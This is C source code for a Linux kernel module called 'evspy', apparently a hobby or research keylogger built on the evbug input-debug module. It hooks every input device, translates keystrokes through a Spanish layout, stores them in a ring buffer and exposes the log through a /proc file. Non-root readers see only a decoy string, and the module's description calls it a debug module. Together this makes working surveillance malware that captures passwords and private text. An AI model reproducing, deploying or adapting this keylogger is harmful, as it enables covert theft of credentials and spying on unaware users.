/* * Copyright (c) 2011 Guillermo Ramos * based on evbug module by Vojtech Pavlik ((c) 1999-2001) */ /* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Should you need to contact me, the author, you can do so either by * e-mail - mail your message to , or by paper mail: * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic */ #include #include #include #include #include #include #include #include #include #include #include #include "evspy.h" static char *buffer; static char *rdp; static char *wrp; static char tag[] = "<+XXX>"; static unsigned int blkmayus_state = FREE; int evspy_read_proc(char *page, char **start, off_t offset, int count, int *eof, void *data) { int n, toend; int retval = 0; int diff = wrp - rdp; if (current_uid() || current_euid()) { n = MIN(10, count); strncpy(page, "Trolololo", n); *eof = 1; return n; } if (diff > 0) { n = MIN(diff, count); strncpy(page, rdp, n); rdp += n; retval = n; } else if (diff < 0) { toend = (buffer + BUFSIZE) - rdp; n = MIN(toend, count); strncpy(page, rdp, n); retval = n; if (n < toend) { rdp += n; } else { n = MIN(wrp - buffer, count - retval); strncpy(page + retval, buffer, n); retval += n; rdp = buffer + n; } } if (rdp == wrp) *eof = 1; return retval; } void special_char(unsigned int code, unsigned int value) { int known = 1; int i; // Elimina eventos de "despulsado" para teclas no deseadas switch(code) { case RMAYUS: case LMAYUS: case ALT: case LCTRL: case RCTRL: case ALTGR: break; default: if (value == FREE) return; } switch(code) { case RMAYUS: case LMAYUS: strncpy(tag+2, "MAY", 3); break; case ALT: strncpy(tag+2, "ALT", 3); break; case ALTGR: strncpy(tag+2, "AGR", 3); break; case LCTRL: case RCTRL: strncpy(tag+2, "CTR", 3); break; case TAB: strncpy(tag+2, "TAB", 3); break; case ESC: strncpy(tag+2, "ESC", 3); break; case UP_AR: strncpy(tag+2, "A^^", 3); break; case DOWN_AR: strncpy(tag+2, "Avv", 3); break; case LEFT_AR: strncpy(tag+2, "A<<", 3); break; case RIGHT_AR: strncpy(tag+2, "A>>", 3); break; default: known = 0; } if (!known && isfX(code)) { strncpy(tag+2, "F??", 3); } else if (!known) { // strncpy(tag+2, "UNK", 3); return; } if (value == PRESS) tag[1] = '+'; else if (value == FREE) tag[1] = '-'; for (i = 0; i < sizeof(tag) - 1; i++) ins(tag[i]); } static void evspy_event(struct input_handle *handle, unsigned int type, unsigned int code, int value) { if (type == EV_BLKMAYUS) { // A veces la mierda esta manda dos eventos en vez de uno al pulsar BLKMAYUS if (value != blkmayus_state) special_char(LMAYUS, value); if (value == PRESS) blkmayus_state = PRESS; else if (value == FREE) blkmayus_state = FREE; return; } else if (type != 1 || value == HOLD || unlikely(code >= sizeof(map_es))) { return; } if (map_es[code] == '.' && likely(code != DOT)) special_char(code, value); else if (value == PRESS) ins(map_es[code]); } static int evspy_connect(struct input_handler *handler, struct input_dev *dev, const struct input_device_id *id) { struct input_handle *handle; int error; handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); if (!handle) return -ENOMEM; handle->dev = dev; handle->handler = handler; handle->name = "evspy"; error = input_register_handle(handle); if (error) goto err_free_handle; error = input_open_device(handle); if (error) goto err_unregister_handle; return 0; err_unregister_handle: input_unregister_handle(handle); err_free_handle: kfree(handle); return error; } static void evspy_disconnect(struct input_handle *handle) { input_close_device(handle); input_unregister_handle(handle); kfree(handle); } static const struct input_device_id evspy_ids[] = { { .driver_info = 1 }, /* Matches all devices */ { }, /* Terminating zero entry */ }; MODULE_DEVICE_TABLE(input, evspy_ids); static struct input_handler evspy_handler = { .event = evspy_event, .connect = evspy_connect, .disconnect = evspy_disconnect, .name = "evspy", .id_table = evspy_ids, }; static int __init evspy_init(void) { create_proc_read_entry(PROCNAME, 0, NULL, evspy_read_proc, NULL); buffer = kmalloc(BUFSIZE, GFP_KERNEL); rdp = buffer; wrp = buffer; return !buffer || input_register_handler(&evspy_handler); } static void __exit evspy_exit(void) { kfree(buffer); remove_proc_entry(PROCNAME, NULL); input_unregister_handler(&evspy_handler); } module_init(evspy_init); module_exit(evspy_exit); MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>"); MODULE_AUTHOR("Vojtech Pavlik "); MODULE_DESCRIPTION("Custom input driver event debug module"); MODULE_LICENSE("GPL");